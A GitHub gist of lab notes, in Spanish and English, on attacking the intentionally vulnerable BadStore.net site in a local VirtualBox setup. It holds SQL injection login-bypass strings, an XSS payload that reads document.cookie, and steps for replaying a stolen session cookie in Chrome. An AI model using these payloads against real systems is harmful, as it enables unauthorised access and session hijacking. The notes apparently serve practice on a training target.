Skip to content

Instantly share code, notes, and snippets.

@Macorreag

Macorreag/inyection.sql

Last active June 28, 2019 00:59
Show Gist options
  • Save Macorreag/dd9fd44bfa3336af5218ec81d40e191e to your computer and use it in GitHub Desktop.
Save Macorreag/dd9fd44bfa3336af5218ec81d40e191e to your computer and use it in GitHub Desktop.
Download ZIP
Inyección de SQL en pagina de prueba BadStore.net montada en VirtualBox
Raw
inyection.sql
config red of Vbox
(Red->adaptador1->Adaptador solo anfitrion->unico que hay )
Modify ip access to
etc/hosts
write->[ifconfig on ubuntu IP public] www.badstore.net
Inyection of SQL
First login with
aaaa'OR 1=1 OR'--
/*View all products */
a'!= 'b' OR '*
pass----
Login with Test User
obtener cookie from Firefox
<script>alert(document.cookie)</script>
/*/
insert cokkie on chrome Aplication->Cokkies->[Name Cokkie][value of cokkie]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment